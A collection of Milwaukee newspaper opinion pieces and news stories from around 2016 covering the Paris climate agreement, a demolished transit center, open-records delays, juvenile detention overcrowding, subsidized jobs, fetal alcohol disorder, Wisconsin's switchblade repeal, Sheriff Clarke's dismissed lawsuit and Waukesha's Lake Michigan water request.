When he returned to the U.S. after Korea, Palese became a resident at the old Deaconess Hospital in Milwaukee where he met his wife, Dolores, a lab technician. They married in 1954 and had five children. Dolores died in 1973 when the children were ages 6 to 17 and Palese raised them on his own as he worked first as a physician for Liberty Mutual Insurance and then at St. Luke's Hospital, where he helped start the family practice training program.

Despite serving in the Army during World War II and Korea, Palese wasn't done with the military. Once his family was grown, he joined the Wisconsin National Guard and served as surgeon for the 57th Field Artillery Brigade until the Army told him he had to retire because he was in his late 60s.
Secretary of State John Kerry, holding his granddaughter, Isabel Dobbs-Higginson, signs the Paris Agreement on climate change Friday at the United Nations. Credit: Associated Press

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As the 46th anniversary of Earth Day passed on Friday, the United States joined 160 countries in signing the Paris Agreement on climate change, negotiated last year, which sets ambitious goals, including holding planetary warming to 2 degrees Celsius (3.6 F) above preindustrial levels.

While the stage for this agreement was set in 1992, when President George H.W. Bush signed the aspirational Framework Agreement on Climate Change in Rio de Janeiro, it's taken nearly a quarter-century of talks to get to this point.

The Paris Agreement is the strongest climate commitment to date, and represents an important achievement in addressing one of the most significant challenges in human history. By signing the agreement, these countries are signaling their commitment to develop and implement national plans to meet the goals.

Much has changed since those first talks in Rio. The effects of climate change are increasingly evident around the world and the results more dire. Pope Francis' pronouncements add spiritual weight to scientific data. In Paris last December, I was struck by both the number of corporations supporting the agreement and its goals and the voices of more than 400 mayors concerned about the future of their cities.

Significantly, 154 U.S. companies have signed the American Business Act on Climate pledge in support of the agreement. These companies have operations in all 50 states, employ nearly 11 million people, represent more than $4.2 trillion in annual revenue and have a combined market capitalization of more than $7 trillion. This show of corporate support represents a radical change in the conversation.

In Wisconsin, whether you are a farmer, a forester, an insurance company executive, a business owner dependent on Great Lakes shipping or a municipal official planning public infrastructure, climate change is affecting your bottom line.

Elsewhere in America, especially in coastal cities across the country, the effects of sea level rise are increasingly dangerous and costly. The impacts in Miami and other cities in Florida are so stark and challenging that, in a rare act of bipartisanship, Republican and Democratic mayors from that state joined forces, imploring the presidential candidates and Florida debate moderators to talk about climate change, and the journalists obliged.

The next few decades offer a brief window of opportunity to minimize large scale and potentially catastrophic climate impacts. To do so, we need to aggressively increase our efforts to achieve net zero emissions.

There are signs of progress. We have an enormous opportunity to maximize energy efficiency and clean energy. Last year, wind power in the U.S. provided 5% of our total energy needs and employment in that industry rose 20%. For the first time ever, more wind and solar capacity was added to the grid than natural gas; and solar power garnered $161 billion in new investment in 2015, more than natural gas and coal combined.

Creating greater energy independence and increasing our investments in, and reliance on, clean energy has many benefits beyond slowing the rate of global warming. These efforts offer us a multibillion-dollar business opportunity while cleaning up our air, improving public health and creating new and long-lasting job opportunities.

Achieving a carbon-free and clean energy future will require tremendous effort and focus. It will require us to consider all potential options for low-carbon emissions, including potentially expanding our nuclear energy programs.

This year, on what would have been my father's 100th birthday, I find myself reflecting on his words from not long before he died. When asked why, at age 89, he still went to work every day fighting to protect our planet and its people, he said simply, "The job's not done."

Today, we can celebrate the sense of urgency and commitment among world leaders to address climate change. The choices they, and we, make now will be shaping the global economy, public health and environment for us and hundreds of generations to come.

Tia Nelson is managing director, Outrider Foundation Climate Change.
Milwaukees Downtown Transit Center, 909 E. Michigan St., is to be torn down in the near future to make room for a high rise apartment complex. The center opened in 1992 and has seen little use. Credit: Tom Lynn

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There's a little-known refuge from the hustle and bustle of Milwaukee's downtown, where a weary soul can escape the cacophony of traffic and jackhammers.

The atmosphere inside the Downtown Transit Center, 909 E. Michigan St., is cathedral-like, with its soaring ceilings and light shafting through the high windows across the floor of the 140-seat waiting room. Other than the occasional bus driver or construction worker passing through to use the restrooms or vending machines, or a sleeping homeless person rousted by the on-site manager, a soul can read quietly or sit in general contemplation undisturbed.

It wasn't supposed to be that way  and won't be for much longer.

The center, financed mostly with $10 million in federal grant money, opened in October 1992 with hoopla and will be torn down in the coming months to make way for the Couture complex.

The center was hailed at its birth as the centerpiece for a new era of Milwaukee mass transit that would draw "several hundred" riders each day and link downtown and inner city residents with employers on Milwaukee County's fringe and, if light rail were developed, with commuters in adjacent counties.

Instead, the center has stood for nearly a quarter-century as a colossal white elephant on the lakefront, smack dab in the middle of perhaps the most expensive real estate in Wisconsin  inhibiting development, generating no tax revenue and probably costing taxpayers up to an additional $3 million to operate and maintain over its lifetime. It never fulfilled the purpose for which it was ostensibly built, all because local leaders were chasing "free" federal money to develop an even larger project that never happened.

Although still called the Downtown Transit Center, there are no connections to transit. The site, according to a development agreement for the Couture, is used only as a "terminal point for buses"  basically a spot for them to turn around.

It's not the first time plans for the site have gone awry at taxpayer expense. Time and again over the decades, local officials have used federal money for transportation pipe dreams that never came to pass.

The land was a parking lot in the 1970s when federal funds were used to buy it for a proposed interchange linking the Park East Freeway with the Hoan Bridge and the downtown segment of I-794.

The site wasn't used for that purpose, however, and stood idle until officials hatched a plan in the late 1980s for the $27.5 million Northwest Corridor project  a plan to connect downtown-area workers and northwest side employers via express buses. The southern terminus of the project was to be the transit center, to be built for more than $16 million, including $10 million in federal grants.

The county share for the center was the $6.5 million value of the 2.2-acre site. That was enough to leverage more federal money to develop the Northwest Corridor, for which the county anted up another $1.42 million in cash and the state $575,000, mostly to buy buses.

So far, then, taxpayers have poured more than $19 million into the transit center.

Kenneth Yunker, executive director of the Southeastern Wisconsin Regional Planning Commission, said building the center was mostly the feds' idea.

What the county needed, said Yunker, who was assistant director of SEWRPC at the time, was a bus-marshalling garage, where buses could be parked so they'd be ready to take commuters home. Federal Transit Administration officials said they could fund the center but insisted that it include a waiting room for commuters.

"Everyone who was involved with it knew it would never work as a downtown transit center," Yunker said in a recent interview. "It was a transit center in name only."

Besides the waiting area, the center featured indoor parking for up to 30 buses, a 5,200-square-foot second floor that included the Harbor Lights Room and other meeting rooms and a kitchen that could be rented, a rooftop park with spectacular lake views and a six-story clock tower, the hands of which some years ago became stuck perpetually on one face at about 6:30.

On the center's opening day in October 1992, County Executive Tom Ament said it "not only is a great facility for our bus passengers; it provides a focal point for our downtown routes and makes it easier for everyone to use mass transit in Milwaukee County."

"Several hundred riders a day soon are expected to pass through the center," Joe Caruso, Milwaukee County Transit System marketing director, told The Milwaukee Journal.

By May 1993, the newspaper wondered in an editorial where all the riders were: "(T)he absence of regular commuters reinforces misgivings expressed at the time the center was conceived that it may have been overdesigned or ill-placed for the needs it was supposed to serve."

But officials held out hope that yet another transportation dream  light rail  would save the day. "Light rail could one day figure into the formula. It's better to have the facility that you can work creatively with than to have nothing at all," Caruso told the Journal that same month.

Light rail never happened, either, and by 2002 even the Northwest Corridor project died. Life for the transit center settled in as little more than an extravagant break room for bus drivers, costing the county about $300,000 a year to maintain and operate, county Transportation Director Brian Dranzik said.

Some of that cost, up to $200,000 a year, was offset by rentals of the Harbor Lights Room, which was shuttered last year, he said. But there were other expenditures to replace worn-out systems and equipment. All told, the county probably spent close to $3 million in maintenance on the building over the past 23 years.

Any hope of recouping those losses is gone, now that the county is selling the site to developer Rick Barrett and his Barrett Visionary Development for $500,000. In fact, the same federal money used to build the center is driving a decision that some argue is even more foolhardy: the downtown streetcar.

Moreover, the inclusion of a streetcar station and bus concourse in the Couture development and the county stake in the property, now valued at $8.9 million, makes it possible to leverage about $69 million in federal grants to help pay for the $128 million, 2.5-mile streetcar project.

Proponents, chief among them Milwaukee Mayor Tom Barrett, say the project will spur economic development along the streetcar line. Others disagree. But all agree it would not be built if "free" federal money were not driving the decisions.

On April 4, the feds approved the transit center sale, meaning the county does not have to repay the feds the difference between the appraised value of $8.9 million and the discounted selling price of $500,000.

For the first time in more than 50 years, the Couture will put the property on the tax rolls, where it is expected to generate about $2.25 million annually in property tax revenue once completed, according to the development agreement presented in 2014.

After the $69 million in federal grants are applied to the streetcar's construction costs, the remaining $59 million will be borrowed and repaid from property tax revenue of three tax incremental financing districts.

To cover operating costs, estimated to be $2.4 million a year, already-acquired federal Congestion Mitigation and Air Quality Improvement, or CMAQ, grants are expected to cover 80% of those costs for the first 18 months, according to the city's streetcar website. The rest will be covered for the first three years by fares, advertising and sponsorships, the website says.

After that, operations will be covered by fares, advertising, sponsorships, corporate agreements and "federal funding opportunities," the site says.

Today, the transit center sits quietly awaiting its fate. Buses periodically pull into the center's underground garage. Its waiting room sits empty. The stairway and escalators to the second floor are cordoned off.

In August 1993, former Milwaukee County Executive David Schulz, who oversaw the center's development until his term ended in late 1992, defended the project in a column he penned for the Milwaukee Sentinel.

The center, he wrote, "represents a creative use of federal resources...using the value of land which the federal government had paid for and then given to the county to match additional federal transit funds. ...The result: a valuable transportation facility and terrace park, replacing acres of asphalt surface parking at little cost to county property taxpayers."

In February 2015, however, his sister, Peggy Schulz, wrote in the Journal Sentinel that David "admitted at the time that the center was built because the money was there to do so." (David Schulz died in 2007.)

In her column, in which she advocated against the streetcar project, she apologized to David for telling on him, suggesting the center would not have been built where it was  or at all  if not for the lure of "free" federal money.

"Sound familiar?"

Dan Benson is 21st Century Federalism Project editor at the Wisconsin Policy Research Institute (wpri.org). He is a former Journal Sentinel and Gannett Co. reporter and editor. This is a shortened version of a story that will appear in an upcoming edition of WPRI's magazine, Wisconsin Interest.
During Sunshine Week in March when attention nationwide was focused on government transparency, Gov. Scott Walker issued an executive order calling on state agencies to "go above and beyond requirements of the Public Records Law and promote easier, fairer and broader access to public records."

The director of state courts hasn't gotten the message.

The office's interim director, J. Denis Moran, still has not responded to a USA TODAY NETWORK-Wisconsin open records request that was filed more than four months ago, before the executive order was issued.

The director of state courts is the chief nonjudicial officer in the state court system, an administrator with responsibilities that include managing budgets, a statewide computer system and continuing education for all 72 counties. Moran was named interim director last summer.

In December, network reporter Eric Litke requested records of complaints involving Wisconsin judges between January 2010 and Dec. 21, the day of the request. Litke requested any documents related to an investigation or follow-up conducted by the office, or cases that had been passed to another office, such as the Wisconsin Judicial Commission.

His request was part of ongoing reporting for the network's WisconsINjustice series, which shined a light on judicial performance and provided scrutiny to which judges are rarely subjected.

Four months later, Litke has received no reply. The open records request hasn't been fulfilled, nor has it been rejected. The office's media contact, Tom Sheehan, has confirmed that it was received but Moran himself  who is custodian of the records  has not responded.

Releasing judicial discipline records does not appear to be beyond the scope of the Director of State Courts office because an Eau Claire Leader-Telegram story in October 2013 cited records from that office in detailing sexual harassment allegations against a former Barron County judge. So at the very least, Moran's response should include documents turned over to the Leader-Telegram.

Litke reached out to Moran repeatedly by phone and email in February and March and again this month. No response.

The USA TODAY NETWORK-Wisconsin asked attorney Robert Dreps to contact Moran. Dreps has represented many state newspapers in open records and open government disputes.

Moran told Dreps by phone that he didn't have any responsive records and acknowledged that he was tardy in responding. He said he'd respond in writing the next day. He never did. And he didn't respond when Dreps followed up several weeks later.

A written response is required, according to the state's public records law.

The governor's executive order brags about Wisconsin having a history of open government and transparency, and it does. But not in this case.

You'd think public officials would have learned a lesson after an attempt to gut the open records law during last summer's budget deliberations led to a huge outcry from those on the left, right and middle. That negative response forced legislators who wanted to operate in secrecy to back down.

Open and transparent government should be the default in a democracy. Denials of records should be the rare exception.

We believe this open records request is legitimate.

Judges have a lot of power with little oversight. The state's circuit court judges and Supreme Court justices are elected officials. That means state records about their conduct in and out of the courtroom are germane and deserve scrutiny. It's information that voters can use as they look at the candidates.

A response from the Director of State Courts office is long overdue.

The options for Moran are straightforward: If no records exist, say so; if he is refusing to release the information, explain why; if he intends to release the records, do so without delay.

At the very least, muster up the courage to respond in writing. Leaving Litke's request in limbo doesn't comply with the state public records law or the governor's executive order.

This editorial is the work of the editorial boards of the Milwaukee Journal Sentinel and USA TODAY NETWORK-Wisconsin, which has newsrooms in Green Bay, Appleton, Fond du Lac, Manitowoc, Marshfield, Oshkosh, Sheboygan, Stevens Point, Wausau and Wisconsin Rapids.
A group of over 200 people went to a February community brainstorming panel on juvenile corrections in Milwaukee in the wake of problems at Lincoln Hills and Copper Lake schools. Credit: Rick Wood

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We've said it before and we're saying it again: The state is responsible for the scandal at the Lincoln Hills juvenile detention facility in northern Wisconsin that resulted in a state and a federal investigation, and the state needs to fix it. And that includes helping counties deal with any issues resulting from that mess.

One more manifestation of the scandal was reported this week by Don Behm of the Journal Sentinel: The Milwaukee County Juvenile Detention Center in Wauwatosa has faced extreme staffing shortages this year, with mandatory 12-hour shifts and no time off for many officers even as the center exceeded its capacity on at least 33 days since Jan. 1, an internal county memo says.

Long hours boost stress levels for workers and "combined with overcrowding conditions, this environment can create a heightened risk of incidents," warns the April 18 memo from Health and Human Services Director Hector Colon to County Executive Chris Abele.

And according to Colon, the staffing shortage and cycles of crowding became critical this year as county officials worked to find alternative treatment locations for Milwaukee youths residing at Lincoln Hills. In the first three months of this year, 49 youths were transferred from Lincoln Hills to the detention center, and they stayed an average of 21 days while waiting for judicial review of available options, Colon says in the report.

Total admissions in the first three months of this year jumped to 520, up from 461 in the last three months of 2015 when problems at Lincoln Hills were first made public. To deal with the overcrowding, several youths were forced to sleep on the floor on foam rubber mattresses on 20 of the 33 nights when there were high numbers of juveniles, according to the memo.

The problem is that there aren't enough places to provide alternative treatment, and there are no rules in place that would allow the state Department of Corrections or Children and Families to license a secure residential care facility, Colon says in the memo.

The Legislature needs to write those rules as soon as it can, which, sadly is not soon enough because it is not in session. In the meantime, state officials should do what they can to help the county transfer a limited number of juveniles to group homes or other alternative programs. The county is negotiating with Racine County to relieve overcrowding by sending some juveniles to a detention center in that county.

Clearly, county officials need to do their part, too, by hiring more staff and providing more space where they can, perhaps at the County Correctional Facility-South or other sites. And county officials are working on that. But Colon was right when he wrote in the memo that, "The burden of the state-administered Lincoln Hills crisis cannot lie solely on the Department of Health and Human Services."

State officials have said they're working to correct the situation at Lincoln Hills, but local officials are still concerned, and rightfully so, because they have so few options.

"We know sending kids up there, it's a recipe for failure," Milwaukee County Circuit Judge David Swanson said at a recent panel discussion. "We look at the options available locally and we just don't have enough. We really need residential programming here in the county."

There is a plan to provide that programming, but the resources are not yet in place. There has to be more urgency on the part of all parties involved to get them in place, including fixing the rule-writing issue. And in the meantime state officials should be giving all the help they can to the county to work out an emergency fix in Milwaukee County.

The juvenile offenders in county detention and at Lincoln Hills are there for a reason. But no one deserves the kind of treatment to which they were allegedly exposed at the northern Wisconsin facility or the overcrowded conditions that greeted them upon their return to Milwaukee.
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Nearly seven years after the end of the deepest recession in our lifetimes, the job market has in many ways returned to pre-recession levels. And yet there are far more people seeking work than jobs available. Unemployment and underemployment persist in many communities where the recovery lags. And some workers are left out even in the best of times.

Milwaukee has pockets of unemployment that are unacceptably high, with official estimates reaching 28.9% in some neighborhoods. The lack of jobs is especially alarming in African-American, Latino, Native American and immigrant communities.

But there is hope. Subsidized jobs programs are a particularly successful strategy and a necessary part of the solution. Subsidized jobs  often called transitional jobs  offer those seeking work the opportunity to earn a wage doing productive work, get training and receive other supportive services.

A new report by the Georgetown University Law Center on Poverty and Inequality, "Lessons Learned from 40 Years of Subsidized Employment Programs," details how effective subsidized jobs can be in fighting persistent poverty.

The report features the widely respected New Hope Project, which successfully tested a package of policies during the 1990s in Milwaukee, including making transitional jobs available to low-income adults and families. The results were remarkable. According to the report, "New Hope increased employment, earnings, and incomes." Most striking, it increased school achievement and positive behavior among children, especially boys. Marriage rates also increased. All this grew from a program that focused on adults, made work available and made work pay.

Other successful subsidized employment programs showed that offering subsidized employment to those who had returned to the community from incarceration resulted in them committing fewer subsequent crimes.

The bottom line, the study concluded, is that programs such as New Hope are smart investments that can be used as key tools to lower poverty rates, increase family well-being, and improve the next generation's chances for economic success.

There are many models of subsidized jobs programs. Some offer entry-level work experience, while others are embedded in skills training programs that lead to specific  and marketable  skills. Communities have used subsidies to meet needs that are not being met through existing public or private sector efforts. Small businesses have been able to test their ability to add workers to their permanent payroll, by participating in a subsidized employment program.

Wisconsin has demonstrated bipartisan support for subsidized employment, through the state's Transitional Jobs employment programs. The city of Milwaukee has added to the state's investment through Compete Milwaukee. The Milwaukee Journal Sentinel highlighted TJM Innovations, one of the businesses working with the state's Transform Milwaukee program. TJM employs transitional workers and has offered permanent employment to a significant number of those workers over the past several years. These are entry-level manufacturing and production jobs, providing real work and relevant job experience to workers who had not been able to find employment.

But these programs, while beacons of hope and opportunity for those in them, are woefully limited in scale.

To tackle Milwaukee's economic and employment crisis, we need to expand innovative and effective policies. We know that subsidized jobs programs work  and from New Hope, we know they work in Milwaukee. We must substantially increase our investment in subsidized jobs. This not only will provide work and wages to those looking for work right now; it also will positively impact children growing up in poverty in Milwaukee and across our state.

Policy-makers on both sides of the aisle, at all levels, should come together with advocates and businesses to do what works to help every neighborhood recover from economic hardship.

Indivar Dutta-Gupta is director of the Project on Deep Poverty at the Georgetown Center on Poverty and Inequality. Julie Kerksick, senior policy advocate at the Community Advocates Public Policy Institute, previously was the executive director of the New Hope Project, and worked on the creation of transitional jobs programs for the states of Wisconsin and Colorado.
Credit: Mark Weber

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For the last two months, it's been all Zika, all the time. Some 358 cases of the mosquito-borne disease have been reported in the United States  all travel-related, but ratcheting up anxiety for anyone who is pregnant.

Global health officials are racing to understand more about the outbreak, which has been declared a public health emergency. President Barack Obama has asked Congress for $1.8 billion to combat the virus, linked to microcephaly, in which babies are born with small heads and brain damage, while scientists are fast-tracking a vaccine.

Meanwhile, there's another far more pervasive neurological disorder that also harms the brain of the developing fetus and has devastating effects but doesn't generate the same headlines: Fetal Alcohol Spectrum Disorder.

FASD affects 5% of newborns  or 40,000 births annually  more than spina bifida, Down syndrome and muscular dystrophy combined, according to the National Organization of Fetal Alcohol Syndrome. That's not to say that Zika shouldn't be addressed, but it is to say that this other global threat deserves the same kind of urgency.

That is especially true in Wisconsin, where alcohol is woven into the culture. It's a well-known fact  some might say a point of pride  that Wisconsin ranks among the heaviest-drinking states in the nation. However, less well-known is that women of childbearing age here have the highest prevalence of binge drinking in the U.S. About 8% of new moms acknowledged drinking during their last trimester, according to the 2014 Wisconsin Epidemiological Profile on Alcohol and other Drug Use, which has called this issue one of the state's "top five health priorities."

But unlike with Zika, being exposed prenatally to alcohol is still open to endless debate, despite years of research documenting collateral damage. "Of all the substances of abuse (including cocaine, heroin and marijuana), alcohol produces by far the most serious neurobehavioral effects in the fetus," reported the Institute of Medicine a decade ago.

Recently, those warnings only have grown louder. In October, the American Academy of Pediatrics stated unequivocally: "No amount of alcohol intake should be considered safe." In February, the CDC went even further, advising women to abstain from all drinking if having unprotected sex. Since half of all U.S. pregnancies are unintended and many women are unaware they are pregnant in the first four to six weeks  when the baby's brain and central nervous system are most vulnerable to neurotoxins  why take the risk?

Yet the positions of the AAP and CDC sparked an unprecedented backlash, with words such as "patronizing," "misogynistic" and accusations that women were being treated like "baby-making vessels" ricocheting around the web. The same population on board with avoiding sushi or changing a litter box still clings to the fiction that a glass or two of Malbec most evenings is somehow different than a pint of Thunderbird.

"We see it all the time...there are even doctors who continue to tell patients that a glass of wine is OK," said Lindsey Peterson, an FASD outreach specialist at the University of Wisconsin-Madison

Janet F. Williams, author of the AAP report, said, "People don't like to be told what to do. I'm not telling you what to do. I'm telling you what we know  and that is when there is no alcohol exposure, there will be no fetal effects. If this is a difficult decision, we should be asking a totally different question: Why is that drink so important to you?"

If only the skeptics could spend one day with a family like ours, wrestling with this disorder. Perhaps they'd feel different if they could see how a simple request  like picking up toys or turning off the TV  can send a child into a blistering tantrum. Or how saying "no" to McDonald's can result in opening the car door on the highway. Maybe they'd like to scour the class list for just one peer willing to have a play date or navigate an endless maze of physicians, psychiatrists and other mental health professionals searching for answers.

In all but the most severe cases, there are no facial deformities  one reason FASD kids don't get the same empathy extended to those with more obvious handicaps. The inability to see the link between cause and effect means that their behavior looks like "bad choices" rather than brain damage. Soon, the clinicians and educators give way to police, lawyers and judges.

The lifetime costs of raising a child with FASD is about $2 million, while the annual tab nationwide is estimated at $4 billion, according to findings published in the American Journal of Medical Genetics. The financial burden is expected to skyrocket, as thousands of children adopted in the 1990s domestically and internationally  where prenatal care is sketchy and alcoholism is rampant  reach adulthood.

Unfortunately, there's no momentum for spending on this disorder. In 2014, funding at the Substance Abuse and Mental Health Services Administration, a federal agency within Health and Human Services, was cut by nearly 90%. The funds were used to support the Fetal Alcohol Center for Excellence  an invaluable resource for parents desperate for information. After 15 years, the website ceased operation on Friday, and the toll-free phone line will be disconnected, leaving families more overwhelmed and isolated than ever.

"When I go to Capitol Hill, there's just not much interest," said Tom Donaldson, CEO of NOFAS. "There's a feeling among most lawmakers that it's all been taken care of," he said, referring to the 1988 law requiring that alcoholic beverages carry a warning about drinking for two.

Williams, the pediatrician, acknowledged that it's baffling why people don't notice the labels; why they worry more about mosquitoes than martinis. She compared it to people fearing shark attacks while forgoing a fence around their backyard swimming pool, despite the fact that drownings are far more prevalent.

"With the sharks, you're a victim. You have no control," she explained. "But the swimming pool  like alcohol  is part of everyday life and easier to dismiss. You have control. It's just that no one ever thinks it will happen to them."

While you can't reverse neurological damage in the womb, there are cost-effective ways to drastically reduce the bad outcomes. Initiatives ranging from safe, affordable housing to supportive employment programs  which offer structure as well as a paycheck  all have been proven to help young adults reach their full potential. Access to preventive services now almost always results in savings later.

It's important that we know that the cause is not hopeless, which can be an excuse for inaction  something we'd never tolerate with Zika or any other public health crisis. Instead of succumbing to "bad seed" stereotypes, these kids deserve what we all want: To be useful, self-sufficient and loved.

Bonnie Miller Rubin is a former reporter at the Chicago Tribune who specialized in health and family issues. She lives in Flossmoor, Ill.
Tom McNeil, owner of Swords & Dreams Reptile Rescue in West Allis, shows automatic knives for sale at his store. Credit: Michael Sears

By of the

At Swords & Dreams Reptile Rescue in West Allis, owner Tom McNeil sells lots of knives of nearly every size and description.

Until this year, though, his line did not include switchblades, "out the fronts" or butterfly knives, all long considered contraband on Wisconsin streets.

His customers kept telling him they would be legal soon, McNeil recalled. "But I've been hearing that for 20 years."

This time, it's true.

In February, Gov. Scott Walker signed a bill that repealed the state's ban on automatic knives and pre-empted all local government efforts to regulate knives by blade length or other characteristics.

Doug Ritter, the founder of Knife Rights Inc., which spearheaded the legislation, attended the ceremony and presented Walker with a special knife. He calls his group "the second front in the defense of Second Amendment."

Now, any size and kind of knife is legal to carry, concealed or otherwise, and McNeil said he quickly sold out of a bunch of cheap switchblades the first month. He's replaced them with higher-quality stock.

"It's a novelty, like Pokemon," McNeil said. "Today it's hot, tomorrow it could be nothing."

At Fletcher Arms in Waukesha, guns and the sounds of the indoor shooting range still dominate, but in a glass case next to some silencers lie about a dozen automatic knives.

Jordan Keinert said the new offerings have been selling for about a month, and the store plans to eventually stock between 15 and 20 models.

There, the cheapest is $65, but several cost well over $200, made by big name manufacturers like Benchmade, Gerber and Kershaw.

Up in Marinette, Jason Thoune said he's sold more than 100 expensive switchblades in the two months they've been legal but estimates the vast majority of buyers don't carry them on a daily basis.

"I think it's mostly just to show their buddies, 'Isn't this cool?'" he said. "It's a small way to express their freedom."

Other major Wisconsin retailers of guns and outdoor gear don't carry switchblades yet.

But if the repeal of the switchblade ban shares any of the dynamic of the law that allowed license holders to carry concealed guns, expect a boom in sales and marketing.

Icon of malevolence

To the untrained eye, most switchblades look pretty much like other folding knives. But instead of using two hands, or pulling a blade with a practiced thumb roll, a user need only push a button and the blade either swings out the side or shoots out the front and locks into place.

Better models have safety switches that reduce the chances of the knife opening unintentionally.

Butterfly, or balisong, knives also were considered illegal to carry in many places. They do not have springs but can be opened with one hand, with practice and a little martial arts flourish.

Many state bans  and a federal law that prohibits switchblade sales in interstate commerce, except to law enforcement or military users  go back to the late 1950s and early 1960s. That's when Hollywood turned switchblades into an icon of malevolence.

From "West Side Story" to "Rebel Without a Cause" and "The Blackboard Jungle," the movies became filled with scenes of threat and intimidation, when just the "snick" of the knife opening made people stop and take fearful notice.

Today, that sound effect has been replaced with the racking of a slide on a semiautomatic handgun. Switchblades, to knife fans at least, are just another tool, or weapon of self defense.

Milwaukee police paid little attention to the bill legalizing switchblades, Sgt. Timothy Gauerke said. The only real difference, he said, is that officers can no longer confiscate such knives if found during pat downs  unless the person with it is a felon, or takes it inside a government building where knives are prohibited.

'More work to do'

Ritter started Knife Rights in 2006 in Arizona. He said Wisconsin is the 12th state where the organization successfully led efforts to change knife laws. Last fall, the Court of Appeals had already ruled that the switchblade ban was unconstitutional as applied to someone in his own home.

Ritter said about another 10 states still have the bans, so "we've got more work to do."

Dave Wattenberg is the founder of Pro-Tech Knives, which made the commemorative, engraved switchblade that Knife Rights presented to Walker at the bill signing. He said his 14-employee company makes knives costing $300 to thousands of dollars.

At a giant firearms industry event in January, several Wisconsin retailers approached him about selling his automatic knives, in anticipation of the law change, he said.

Wattenberg is proud of the special work it took to engrave the Seal of Wisconsin onto the blade of the knife presented to Walker.

"We've never had a public official decline an automatic knife, ever," Ritter said. "Everyone wants to own a switchblade."
Sheriff David Clarke Jr. testifies on Capitol Hill in Washington last year before a House Judiciary Committee hearing on Policing Strategies for the 21st Century. Credit: Jacquelyn Martin

A federal judge has tossed Milwaukee County Sheriff David A. Clarke Jr.'s lawsuit accusing his chief political foe, Milwaukee County Executive Chris Abele, of violating the sheriff's right to free speech.

U.S. District Judge J.P. Stadtmueller ruled this week that Clarke's suit was "unclear and contradictory" and failed to prove that the court should intervene. Clarke had wanted the judge to issue an order barring Abele from using the budget process to punish Clarke or others who say things the county exec disagrees with.

But here's the real kicker to the case:

County taxpayers will now pick up the $50,000 tab for Clarke's private attorney, Michael A.I. Whitcomb, who filed the suit just three months ago.

"Public safety is too important to Milwaukee families for us to continually waste time and money on lawsuits like this," Abele spokeswoman Melissa Baldauffsaid.

Before this most recent suit, the county had paid Whitcomb a total of $263,370 to represent the sheriff in litigation against the county since August 2012. The county had forked over $83,205 defending itself in these state and federal cases brought by Clarke.

That's a total of $346,575 that county taxpayers have spent for the sheriff to sue the county. With this unsuccessful free-speech claim, that figure will top $400,000.

Now that this suit has been dismissed, Baldauff said, Abele hopes the sheriff "will partner with the rest of the criminal justice system to make our communities safer."

That doesn't appear likely.

Clarke said he has not read Stadtmueller's decision, but he had sharp words for Abele. The sheriff did not say if he plans to appeal the decision.

"Abele is the guy who spent $263,000 of his personal wealth trying to defeat me in my last election and he lost," Clarke said in a statement. "He continues his vendetta by trying to silence me. That little man will stop at nothing."

The multimillionaire county executive has acknowledged pouring substantial sums into a third-party group targeting the sheriff in his re-election bid during the 2014 Democratic primary. Clarke defeated his challenger, Chris Moews,in that race.

The sheriff and county exec have crossed swords for years, with Clarke once accusing Abele of "penis envy" and Abele once labeling Clarke "crazy" and a "childish bully."

Whitcomb defended the cost to represent the sheriff in the federal suit.

"It was a unique case, case of first impression: an elected official retaliating against another elected official for the exercise of free speech through the use of an executive veto of a budget amendment that survived the veto," Whitcomb said.

Whitcomb initially filed the suit in Milwaukee County Circuit Court in January, but Abele's attorneys got approval to move the case to U.S. District Court.

In the suit, Clarke alleged that Abele used a budget veto to cut the sheriff's budget in retaliation for some of Clarke's more incendiary public statements.

Last year, Clarke had asked for an annual budget of $109 million for the Sheriff's Office, but Abele instead submitted a proposed budget of $81 million. County Board members later adopted an amendment adding $4 million to Abele's request.

Abele vetoed the amendment, saying he could not support raising property taxes by 1.4% "to validate the sheriff for his repeated incendiary comments and his out of touch views on criminal justice and our society."

Among other things,

Clarke, who is African-American, has criticized the Black Lives Matter movement  which he calls Black Lies Matter  and said African-Americans end up dealing drugs because they are "lazy" and "morally bankrupt."

The County Board overrode Abele's veto on a 15-1 vote.

In his suit, Clarke said Abele's veto message would deter county officials from speaking their mind for fear that the county exec would punish them if he disagreed with their views.

The sheriff asked a judge to issue an order preventing Abele from using the budget process "to retaliate against county elected officials for speaking out on matters of public concern in violation of their First Amendment rights."

But Stadtmueller's 14-page opinion found no grounds for the court to take action.

First, the judge said, it was not clear whether

Clarke was suing Abele as an individual or in an official capacity.

In the former case, the judge said, Abele is clearly protected from legal action for his veto of the board's budget amendment. Beyond that, Clarke didn't show that Abele was enforcing an unconstitutional county policy.

The suit, Stadtmueller said, does little more than outline supposedly retaliatory conduct by Abele during last year's budget fight. But that's as far as Clarke's suit goes.

"Clarke pleads no facts that would suggest to the court that he or any other public official are at risk of being subject to purportedly unlawful conduct again in the future," Stadtmueller wrote.

Without that, the judge said, "Clarke's claim must be dismissed for a lack of jurisdiction."

Contact Daniel Bice at (414) 224-2135 or dbice@journalsentinel.com. Follow him on Twitter @DanielBice or on Facebook at fb.me/daniel.bice.
Packers defense has no margin for error because rest of team is awful

Certainly the Green Bay defense had lapses at inopportune times, but the loss at Washington can't be placed on Joe Barry's unit.
Great Lakes officials meet in Chicago Thursday to examine Waukeshas request for Lake Michigan water. Credit: DON BEHM

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The City of Waukesha's request for more than 10 million gallons a day of Lake Michigan water was cut substantially by representatives of Great Lakes states and provinces meeting Friday in Chicago.

Waukesha's plan to pump up to an average of 10.1 million gallons a day by midcentury will be trimmed to an average of 8.2 million gallons a day after the Great Lakes officials removed portions of three neighboring communities from a future water service area to receive lake water, as a condition of the regional group's acceptance of the request.

Portions of the towns of Delafield and Genesee and generally the southern half of the Town of Waukesha were taken out of the water service area previously delineated by the Southeastern Wisconsin Regional Planning Commission.

Waukesha's requested lake water supply would serve its existing city boundaries, small pieces of the Town of Waukesha, as well as a portion of the City of Pewaukee included under an existing border agreement.

Grant Trigger, a Michigan representative, pushed for the change in service area during two days of meetings in Chicago that began Thursday. He met late Thursday with officials from the Wisconsin Department of Natural Resources to draw up the revised area to be served with lake water.

"The water service area in the application was not acceptable" to many of the states, Trigger said Friday.

A final service area map and revised estimated water volumes that could be needed by midcentury will be distributed to the regional officials by April 27, said Eric Ebersberger, the DNR's deputy administrator for environmental management.

Wisconsin DNR staff had requested that a 4.4-square-mile area in the Town of Genesee be included in the water service area because of groundwater contamination with disease-causing bacteria.

Failing septic systems have contaminated a shallow aquifer used by private wells there. The regional group's revisions to the service area would not allow those property owners to request municipal water from Waukesha in the future.

